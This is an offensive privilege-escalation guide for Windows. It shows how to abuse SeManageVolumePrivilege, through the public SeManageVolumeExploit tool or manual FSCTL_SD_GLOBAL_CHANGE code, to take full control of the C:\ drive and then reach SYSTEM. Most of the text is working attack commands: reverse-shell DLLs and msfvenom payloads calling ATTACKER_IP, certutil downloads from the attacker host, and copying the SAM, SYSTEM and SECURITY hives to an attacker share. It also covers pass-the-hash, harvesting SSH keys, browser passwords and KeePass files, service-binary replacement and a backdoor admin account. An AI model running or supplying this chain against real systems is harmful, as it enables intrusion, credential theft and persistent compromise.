Overview
SeManageVolumePrivilege allows a process to perform volume maintenance tasks — defragmentation, disk quotas, and filesystem-level operations. The critical capability from an attacker’s perspective: it grants the ability to call FSCTL_SD_GLOBAL_CHANGE on a volume, which can replace security descriptors globally across the entire filesystem. This effectively gives full read/write access to every file on the volume, including C:\Windows\System32.
The privilege itself does not grant direct file access. The exploitation is a two-step process: first use the volume management capability to weaken ACLs on the entire disk, then exploit the resulting unrestricted filesystem access.
Who Has It by Default
| Principal | Context |
|---|
BUILTIN\Administrators | Enabled in elevated sessions |
NT AUTHORITY\SYSTEM | Always |
| Service accounts running disk/storage management tools | If explicitly assigned via GPO |
| SQL Server service accounts | Commonly assigned for Instant File Initialization |
SQL Server is the most common non-admin context where this privilege appears. The “Perform volume maintenance tasks” user right is routinely granted to SQL Server service accounts for database Instant File Initialization (IFI), which avoids zeroing out newly allocated database files.
Check if Enabled
Filter for it directly:
whoami /priv | findstr /i "SeManageVolumePrivilege"
Expected output when exploitable:
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
If the privilege shows as Disabled, it can still be enabled programmatically in the current token using AdjustTokenPrivileges. The privilege only needs to be present in the token — the Enabled/Disabled state is a soft toggle that any code in your process can flip.
How It Works Technically
The privilege gates access to the FSCTL_SD_GLOBAL_CHANGE filesystem control code. This FSCTL instructs the NTFS driver to perform a find-and-replace operation on security descriptors across the entire volume. It was designed for domain migration scenarios where SIDs need to be remapped across all files on a disk.
The API call chain:
1. Open a handle to the volume (\\.\C:) with MANAGE_VOLUME_ACCESS
2. Call NtFsControlFile / DeviceIoControl with FSCTL_SD_GLOBAL_CHANGE
3. Provide an SD_GLOBAL_CHANGE_INPUT structure that specifies:
- The old security descriptor (or partial SD) to find
- The new security descriptor to replace it with
4. NTFS walks the entire MFT and replaces matching SDs
The FSCTL_SD_GLOBAL_CHANGE control code value is 0x000900B0. The kernel checks for SeManageVolumePrivilege when the caller attempts to open the volume handle with MANAGE_VOLUME_ACCESS (also called FILE_READ_DATA on the volume device). If the privilege is present, the handle is granted and the FSCTL succeeds.
In practical exploitation, the public tool SeManageVolumeExploit uses this mechanism to replace restrictive SDs with permissive ones, granting the current user Full Control over the entire C:\ drive.
Why This Is Dangerous
Unlike SeBackupPrivilege (read-only bypass) or SeRestorePrivilege (write-only bypass), SeManageVolumePrivilege gives a path to both read and write on every file on the volume — after a single FSCTL call. There is no need to open each file with special flags. Once the SDs are changed, standard copy, type, icacls, and every other file operation works normally with full access.
The public exploit tool automates the FSCTL_SD_GLOBAL_CHANGE abuse.
Repository: https://github.com/CsEnox/SeManageVolumeExploit
What It Does
- Opens a handle to
\\.\C: with volume management access
- Calls
NtFsControlFile with FSCTL_SD_GLOBAL_CHANGE
- Replaces the default NTFS security descriptors with ones granting the current user Full Control
- After execution, the current user can read and write any file on
C:\
Build
:: Clone and build with Visual Studio
git clone https://github.com/CsEnox/SeManageVolumeExploit.git
cd SeManageVolumeExploit
:: Open .sln in Visual Studio and build Release x64
Or compile with Developer Command Prompt:
cl.exe /EHsc SeManageVolumeExploit.cpp /link /out:SeManageVolumeExploit.exe
Usage
SeManageVolumeExploit.exe
No arguments needed. The tool targets C:\ by default.
Expected output:
[*] Opened \\.\C: with MANAGE_VOLUME_ACCESS
[*] Sending FSCTL_SD_GLOBAL_CHANGE...
[+] Success! Full access granted on C:\
Verify Access
After running the exploit, confirm you now have full access:
icacls C:\Windows\System32\config\SAM
You should see your user with (F) Full Control.
type C:\Windows\System32\config\SAM
If this returns content (or at least does not say “Access denied”), the exploit worked.
echo test > C:\Windows\System32\test.txt
del C:\Windows\System32\test.txt
The FSCTL_SD_GLOBAL_CHANGE operation modifies security descriptors on every file on the volume. This is noisy and destructive to the filesystem’s security posture. In a real engagement, plan your post-exploitation steps before running it, execute quickly, and clean up. There is no built-in undo — restoring original SDs requires a backup of the original $Secure stream or a system restore.
After Exploit: DLL Hijacking via IKEEXT Service (wlbsctrl.dll)
The most reliable post-exploitation path. The IKEEXT (IKE and AuthIP IPsec Keying Modules) service runs as NT AUTHORITY\SYSTEM and attempts to load wlbsctrl.dll from C:\Windows\System32 — but the DLL does not exist by default. After running SeManageVolumeExploit, you can write to System32.
Step 1 — Verify IKEEXT Exists and Its Start Type
Look for:
SERVICE_START_NAME : LocalSystem
START_TYPE : 3 DEMAND_START (or 2 AUTO_START)
Step 2 — Confirm wlbsctrl.dll Is Missing
dir C:\Windows\System32\wlbsctrl.dll
Expected: File Not Found.
Step 3 — Generate Malicious DLL
On your attacker machine:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll -o wlbsctrl.dll
Or a minimal DLL that spawns a reverse shell via C:
// wlbsctrl.c — compile: x86_64-w64-mingw32-gcc wlbsctrl.c -shared -o wlbsctrl.dll
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe /c C:\\Windows\\Temp\\nc.exe -e cmd.exe ATTACKER_IP 4444");
}
return TRUE;
}
Cross-compile from Linux:
x86_64-w64-mingw32-gcc wlbsctrl.c -shared -o wlbsctrl.dll
Step 4 — Transfer and Plant the DLL
:: Transfer via SMB, HTTP, certutil, etc.
certutil -urlcache -f http://ATTACKER_IP/wlbsctrl.dll C:\Windows\Temp\wlbsctrl.dll
:: Copy to System32 (possible after SeManageVolumeExploit)
copy C:\Windows\Temp\wlbsctrl.dll C:\Windows\System32\wlbsctrl.dll
Step 5 — Start Listener
Step 6 — Trigger IKEEXT
sc stop IKEEXT
sc start IKEEXT
If you cannot restart IKEEXT (insufficient service control privileges), trigger it by initiating an IPsec connection or wait for a reboot:
:: Force IPsec negotiation to trigger IKEEXT
netsh ipsec static add policy name=test
netsh ipsec static add filterlist name=test
netsh ipsec static add filter filterlist=test srcaddr=any dstaddr=any protocol=any
netsh ipsec static add filteraction name=test action=negotiate
netsh ipsec static add rule name=test policy=test filterlist=test filteraction=test
netsh ipsec static set policy name=test assign=y
Step 7 — Receive SYSTEM Shell
nc -lvnp 4444
# Connection received
# whoami → nt authority\system
After Exploit: DLL Hijacking via Other Services
IKEEXT is not the only service that loads missing DLLs. Several other SYSTEM services have known missing DLL loads.
SessionEnv — TSMSISrv.dll
The Remote Desktop Configuration service (SessionEnv) attempts to load TSMSISrv.dll from System32.
Confirm LocalSystem and check if the DLL is missing:
dir C:\Windows\System32\TSMSISrv.dll
Plant:
copy C:\Windows\Temp\evil.dll C:\Windows\System32\TSMSISrv.dll
sc stop SessionEnv
sc start SessionEnv
NetMan — wlanhlp.dll
The Network Connections service (NetMan) attempts to load wlanhlp.dll:
sc qc NetMan
dir C:\Windows\System32\wlanhlp.dll
Plant:
copy C:\Windows\Temp\evil.dll C:\Windows\System32\wlanhlp.dll
sc stop NetMan
sc start NetMan
Finding More Missing DLLs with Procmon
Use Process Monitor on a lab system with matching OS version:
Filter 1: Result → is → NAME NOT FOUND
Filter 2: Path → ends with → .dll
Filter 3: Process Name → is → svchost.exe
Any DLL load that fails with NAME NOT FOUND from a SYSTEM service in C:\Windows\System32 is a candidate.
Additional Known Targets
| Service | Missing DLL | Runs As | Notes |
|---|
| IKEEXT | wlbsctrl.dll | SYSTEM | Most reliable, documented everywhere |
| SessionEnv | TSMSISrv.dll | SYSTEM | Requires RDP role/feature |
| NetMan | wlanhlp.dll | SYSTEM | Requires WLAN not installed |
| MSDTC | oci.dll | NETWORK SERVICE | Not SYSTEM but useful for lateral |
| Spooler | Various | SYSTEM | Depends on installed print drivers |
Missing DLL targets vary by Windows version and installed roles/features. Always verify on the target system before assuming a DLL is missing. A DLL that is missing on Server Core may exist on a full Desktop Experience install.
After Exploit: Overwrite Service Binaries
With full write access to C:\, replace the executable that a SYSTEM service runs.
Find SYSTEM Services
wmic service where "StartName='LocalSystem'" get Name,PathName,StartMode
Get-CimInstance Win32_Service | Where-Object { $_.StartName -match 'LocalSystem' } |
Select Name, PathName, StartMode, State | Format-Table -AutoSize
Replace the Binary
:: Backup original
copy "C:\Program Files\TargetApp\service.exe" "C:\Program Files\TargetApp\service.exe.bak"
:: Replace with payload
copy C:\Windows\Temp\shell.exe "C:\Program Files\TargetApp\service.exe" /Y
Generate the payload:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o shell.exe
Restart the Service
sc stop TargetService
sc start TargetService
Target Services with Auto-Restart on Failure
If you cannot directly start/stop services, find ones with recovery actions set:
sc qfailure TargetService
Look for RESTART -- Delay = ... in output. Replace the binary, then crash the service — it restarts automatically with your payload.
After Exploit: Read SAM/SYSTEM Directly
With full filesystem access, dump local credential hives without needing SeBackupPrivilege.
Save Registry Hives
reg save HKLM\SAM C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYSTEM
reg save HKLM\SECURITY C:\Temp\SECURITY
Transfer to Attacker
# Start SMB server on attacker
impacket-smbserver share . -smb2support
:: From target
copy C:\Temp\SAM \\ATTACKER_IP\share\
copy C:\Temp\SYSTEM \\ATTACKER_IP\share\
copy C:\Temp\SECURITY \\ATTACKER_IP\share\
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
Output:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Include LSA secrets and cached domain credentials:
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
Pass the Hash
# psexec
impacket-psexec Administrator@TARGET -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
# evil-winrm
evil-winrm -i TARGET -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0
Direct File Access (Alternative)
After the exploit, you can also read the raw hive files via Volume Shadow Copy:
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM
After Exploit: Read Sensitive Files
Full filesystem access means every file on C:\ is readable. Target high-value files.
SSH Private Keys
dir /s /b C:\Users\*.id_rsa C:\Users\*.id_ed25519 2>nul
copy C:\Users\Administrator\.ssh\id_rsa C:\Temp\
copy C:\Users\Administrator\.ssh\id_ed25519 C:\Temp\
copy C:\ProgramData\ssh\ssh_host_rsa_key C:\Temp\
KeePass Databases
dir /s /b C:\Users\*.kdbx 2>nul
copy C:\Users\Administrator\Documents\Database.kdbx C:\Temp\
PowerShell History (All Users)
for /d %u in (C:\Users\*) do @if exist "%u\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" copy "%u\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" C:\Temp\pshist_%~nu.txt
Web Application Configs
:: IIS
type C:\inetpub\wwwroot\web.config
type C:\Windows\System32\inetsrv\config\applicationHost.config
:: Common connection strings
findstr /si "password" C:\inetpub\wwwroot\*.config
findstr /si "connectionString" C:\inetpub\wwwroot\*.config
Unattend / Sysprep Files (Plaintext Credentials)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend.xml
type C:\Windows\System32\Sysprep\unattend.xml
Windows Credential Manager
dir /s /b C:\Users\*\AppData\Local\Microsoft\Credentials\*
dir /s /b C:\Users\*\AppData\Roaming\Microsoft\Credentials\*
Browser Data
:: Chrome saved passwords
copy "C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Login Data" C:\Temp\
:: Firefox profiles
dir /s /b C:\Users\*\AppData\Roaming\Mozilla\Firefox\Profiles\*.default*\logins.json
Wi-Fi Profiles
netsh wlan export profile key=clear folder=C:\Temp\
After Exploit: Plant DLL in System32 or WinSxS
Beyond targeting specific service DLLs, you can plant DLLs in locations that affect a broad range of processes.
System32 DLL Planting
Any DLL placed in C:\Windows\System32 takes priority in the Windows DLL search order for most processes (unless SafeDllSearchMode is modified or the application uses absolute paths).
:: Plant a DLL that many applications load
copy C:\Windows\Temp\evil.dll C:\Windows\System32\version.dll
Common DLL names that many executables import:
| DLL Name | Loaded By | Notes |
|---|
version.dll | Many applications | Version info API |
userenv.dll | Services loading user profiles | Profile management |
dbghelp.dll | Debugging/crash dump tools | Often loaded from CWD first |
dwmapi.dll | GUI applications | Desktop Window Manager API |
uxtheme.dll | GUI applications | Theme rendering |
Replacing real system DLLs in System32 will crash the system. Only plant DLLs with names that do not already exist in System32, or use DLL proxying (forward all exports to the real DLL while executing your payload).
WinSxS Directory
The WinSxS (Windows Side-by-Side) directory stores versioned copies of system DLLs. Applications that reference specific assembly versions load from WinSxS. With write access:
:: List WinSxS directories for a target DLL
dir /s /b C:\Windows\WinSxS\*comctl32* 2>nul
Replacing a DLL in WinSxS requires matching the exact version directory name. This is version-specific and less reliable than System32 planting but evades some monitoring that focuses on System32.
DLL Proxying for Stealth
To avoid breaking functionality when planting in System32, use DLL proxying. Your malicious DLL exports the same functions as the real DLL but forwards them:
// proxy.c — forward all exports to real DLL, execute payload on attach
// Compile: x86_64-w64-mingw32-gcc proxy.c -shared -o wlbsctrl.dll
#pragma comment(linker, "/export:RealFunction=C:\\Windows\\System32\\real_wlbsctrl.RealFunction")
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Payload here
WinExec("cmd.exe /c C:\\Windows\\Temp\\nc.exe -e cmd.exe ATTACKER_IP 4444", 0);
}
return TRUE;
}
Use SharpDllProxy or DLLirant to automate proxy DLL generation.
Alternative Exploitation: Manual FSCTL Approach
If you cannot use the public SeManageVolumeExploit binary (AV blocks it, cannot transfer it, etc.), implement the FSCTL call directly.
PowerShell — NtFsControlFile via P/Invoke
$code = @'
using System;
using System.Runtime.InteropServices;
public class ManageVolume
{
[DllImport("ntdll.dll")]
public static extern uint NtFsControlFile(
IntPtr FileHandle,
IntPtr Event,
IntPtr ApcRoutine,
IntPtr ApcContext,
out IO_STATUS_BLOCK IoStatusBlock,
uint FsControlCode,
IntPtr InputBuffer,
uint InputBufferLength,
IntPtr OutputBuffer,
uint OutputBufferLength
);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr CreateFile(
string lpFileName,
uint dwDesiredAccess,
uint dwShareMode,
IntPtr lpSecurityAttributes,
uint dwCreationDisposition,
uint dwFlagsAndAttributes,
IntPtr hTemplateFile
);
[DllImport("kernel32.dll")]
public static extern bool CloseHandle(IntPtr hObject);
[StructLayout(LayoutKind.Sequential)]
public struct IO_STATUS_BLOCK
{
public uint Status;
public IntPtr Information;
}
// FSCTL_SD_GLOBAL_CHANGE = 0x000900B0
// FILE_READ_DATA on volume = MANAGE_VOLUME_ACCESS
public const uint FSCTL_SD_GLOBAL_CHANGE = 0x000900B0;
public const uint FILE_READ_DATA = 0x0001;
public const uint FILE_SHARE_READ = 0x0001;
public const uint FILE_SHARE_WRITE = 0x0002;
public const uint OPEN_EXISTING = 3;
}
'@
Add-Type -TypeDefinition $code
The SD_GLOBAL_CHANGE_INPUT structure requires building the old and new security descriptors in binary form. This is non-trivial in PowerShell — the public tool handles the structure construction. For a manual approach, it is more practical to write a minimal C/C++ program:
C Implementation — Minimal
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
// FSCTL_SD_GLOBAL_CHANGE = CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 44, METHOD_BUFFERED, FILE_READ_DATA)
#define FSCTL_SD_GLOBAL_CHANGE 0x000900B0
typedef struct _SD_GLOBAL_CHANGE_INPUT {
ULONG Flags; // SD_GLOBAL_CHANGE_TYPE_ENUM_SDS = 0x00010000
ULONG ChangeType;
union {
// ... varies by ChangeType
struct {
ULONG OldSdLength;
ULONG NewSdLength;
// Followed by old SD bytes then new SD bytes
} SdChange;
};
} SD_GLOBAL_CHANGE_INPUT, *PSD_GLOBAL_CHANGE_INPUT;
int main() {
// Open volume handle
HANDLE hVolume = CreateFileW(
L"\\\\.\\C:",
FILE_READ_DATA, // MANAGE_VOLUME_ACCESS
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hVolume == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open volume: %d\n", GetLastError());
return 1;
}
printf("[+] Volume handle obtained\n");
// Build SD_GLOBAL_CHANGE_INPUT with old/new security descriptors
// The old SD targets the default restrictive SD on System32 files
// The new SD grants Everyone Full Control
// ... construct input buffer with proper SD binary format ...
DWORD bytesReturned;
BYTE outputBuffer[4096];
BOOL result = DeviceIoControl(
hVolume,
FSCTL_SD_GLOBAL_CHANGE,
inputBuffer, // your constructed SD_GLOBAL_CHANGE_INPUT
inputBufferSize,
outputBuffer,
sizeof(outputBuffer),
&bytesReturned,
NULL
);
if (result) {
printf("[+] FSCTL_SD_GLOBAL_CHANGE succeeded\n");
} else {
printf("[-] Failed: %d\n", GetLastError());
}
CloseHandle(hVolume);
return 0;
}
Cross-compile:
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe -lntdll
The full implementation requires constructing valid SECURITY_DESCRIPTOR structures in their self-relative binary format. The SeManageVolumeExploit source code on GitHub is the best reference for the exact buffer layout. The manual approach is primarily useful when you need to modify the tool to target a specific volume or SD pattern.
C# Implementation
For execution via PowerShell Add-Type or as a standalone .NET assembly:
using System;
using System.Runtime.InteropServices;
class ManageVolumeExploit
{
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess,
uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition,
uint dwFlagsAndAttributes, IntPtr hTemplateFile);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool DeviceIoControl(IntPtr hDevice, uint dwIoControlCode,
byte[] lpInBuffer, uint nInBufferSize, byte[] lpOutBuffer,
uint nOutBufferSize, out uint lpBytesReturned, IntPtr lpOverlapped);
[DllImport("kernel32.dll")]
static extern bool CloseHandle(IntPtr hObject);
const uint FSCTL_SD_GLOBAL_CHANGE = 0x000900B0;
const uint FILE_READ_DATA = 0x0001;
const uint FILE_SHARE_RW = 0x0003;
const uint OPEN_EXISTING = 3;
static void Main()
{
IntPtr hVol = CreateFile("\\\\.\\C:", FILE_READ_DATA, FILE_SHARE_RW,
IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero);
if (hVol == (IntPtr)(-1))
{
Console.WriteLine("[-] Cannot open volume: " + Marshal.GetLastWin32Error());
return;
}
Console.WriteLine("[+] Volume handle obtained");
// Construct SD_GLOBAL_CHANGE_INPUT buffer here
// Reference: SeManageVolumeExploit source for exact SD layout
byte[] input = BuildInputBuffer();
byte[] output = new byte[4096];
uint returned;
bool ok = DeviceIoControl(hVol, FSCTL_SD_GLOBAL_CHANGE,
input, (uint)input.Length, output, (uint)output.Length,
out returned, IntPtr.Zero);
Console.WriteLine(ok ? "[+] Success" : "[-] Failed: " + Marshal.GetLastWin32Error());
CloseHandle(hVol);
}
static byte[] BuildInputBuffer()
{
// Build the SD_GLOBAL_CHANGE_INPUT structure
// with old restrictive SD and new permissive SD
// See SeManageVolumeExploit source for the exact binary layout
throw new NotImplementedException("Build from SeManageVolumeExploit source");
}
}
Compile:
csc.exe /unsafe /out:exploit.exe exploit.cs
Combine with Service Restart or Reboot
After gaining full filesystem access via SeManageVolumeExploit, most exploitation paths (DLL hijacking, binary replacement) require a service restart or system reboot to trigger the payload.
If You Can Restart Services
:: Check if you can control services
sc stop IKEEXT
sc start IKEEXT
Most exploited accounts with SeManageVolumePrivilege (e.g., SQL Server service accounts) do not have sc control over arbitrary services. Check what you can control:
:: List services you can start/stop
accesschk.exe -uwcqv "YourUsername" * /accepteula
Get-Service | ForEach-Object {
$acl = sc.exe sdshow $_.Name 2>$null
if ($acl -match 'RP|WP|DT') { $_.Name }
}
If You Cannot Restart Services
Wait for reboot — plant the DLL and wait. Auto-start services load DLLs at boot.
:: Check if IKEEXT is set to auto-start
sc qc IKEEXT | findstr START_TYPE
If DEMAND_START, the service only starts when triggered. Consider other auto-start services with missing DLLs, or use one of these triggers:
Trigger IKEEXT without sc:
:: Initiate a VPN or IPsec connection attempt (triggers IKEEXT)
rasdial DummyVPN 2>nul
Force a scheduled reboot (if you have permissions):
shutdown /r /t 300 /c "Windows Update" /f
Plant in a scheduled task output path:
:: Find scheduled tasks with writable paths
schtasks /query /fo LIST /v | findstr /i "Task To Run"
Post-Reboot Persistence
After gaining SYSTEM via DLL hijack, establish a more reliable persistence mechanism:
:: Create a new admin user
net user backdoor P@ssw0rd123! /add
net localgroup administrators backdoor /add
:: Or add an SSH key
mkdir C:\Users\Administrator\.ssh 2>nul
echo ssh-ed25519 AAAA...your_key attacker@kali > C:\Users\Administrator\.ssh\authorized_keys
Full Chain Walkthrough: SeManageVolumePrivilege to SYSTEM
End-to-end example from a SQL Server service account shell.
1. Confirm the Privilege
whoami
:: corp\sqlsvc
whoami /priv | findstr /i "SeManageVolumePrivilege"
:: SeManageVolumePrivilege Perform volume maintenance tasks Enabled
2. Run the Exploit
:: Transfer SeManageVolumeExploit.exe to target
certutil -urlcache -f http://ATTACKER_IP/SeManageVolumeExploit.exe C:\Windows\Temp\sme.exe
:: Execute
C:\Windows\Temp\sme.exe
3. Verify Full Access
icacls C:\Windows\System32\wlbsctrl.dll 2>nul || echo DLL does not exist — good
echo test > C:\Windows\System32\test_write.txt && del C:\Windows\System32\test_write.txt && echo [+] Write access confirmed
4. Plant wlbsctrl.dll
:: Transfer malicious DLL
certutil -urlcache -f http://ATTACKER_IP/wlbsctrl.dll C:\Windows\Temp\wlbsctrl.dll
:: Copy to System32
copy C:\Windows\Temp\wlbsctrl.dll C:\Windows\System32\wlbsctrl.dll
5. Trigger IKEEXT
sc stop IKEEXT 2>nul
sc start IKEEXT
If sc start fails with Access Denied, trigger it indirectly:
:: Trigger via IPsec policy
netsh ipsec static add policy name=trigger
netsh ipsec static add filterlist name=trigger
netsh ipsec static add filter filterlist=trigger srcaddr=any dstaddr=any protocol=any
netsh ipsec static add filteraction name=trigger action=negotiate
netsh ipsec static add rule name=trigger policy=trigger filterlist=trigger filteraction=trigger
netsh ipsec static set policy name=trigger assign=y
6. Catch SYSTEM Shell
On attacker:
Connection from TARGET:49152
Microsoft Windows [Version 10.0.17763.1]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\System32> whoami
nt authority\system
7. Clean Up
:: Remove planted DLL
del C:\Windows\System32\wlbsctrl.dll
:: Remove IPsec policy if created
netsh ipsec static delete policy name=trigger
:: Remove transferred files
del C:\Windows\Temp\sme.exe
del C:\Windows\Temp\wlbsctrl.dll
Quick Reference
| Technique | After SeManageVolumeExploit | Result | Trigger Required |
|---|
DLL hijack — IKEEXT (wlbsctrl.dll) | Write DLL to System32 | SYSTEM shell | Service start or IPsec trigger |
DLL hijack — SessionEnv (TSMSISrv.dll) | Write DLL to System32 | SYSTEM shell | Service restart |
DLL hijack — NetMan (wlanhlp.dll) | Write DLL to System32 | SYSTEM shell | Service restart |
| Overwrite service binary | Replace .exe in Program Files | SYSTEM shell | Service restart |
| Dump SAM/SYSTEM | reg save hives | Local admin hashes | None |
| Read sensitive files | type / copy any file | SSH keys, KeePass, configs | None |
| Plant DLL in System32 | Write DLL with common name | Code execution per process | Process launch |
| Plant DLL in WinSxS | Write DLL in versioned dir | Code execution per process | Process launch |
| Replace accessibility binary | Overwrite utilman.exe / sethc.exe | SYSTEM at lock screen | Lock screen + click |
| Tool | Purpose |
|---|
| SeManageVolumeExploit | Automates FSCTL_SD_GLOBAL_CHANGE to grant full C:\ access |
msfvenom | Generate DLL/EXE payloads |
impacket-secretsdump | Extract hashes from SAM/SYSTEM hives |
impacket-psexec / evil-winrm | Pass the hash for remote access |
| Process Monitor | Discover missing DLL loads on target OS version |
| SharpDllProxy | Generate proxy DLLs for stealthy hijacking |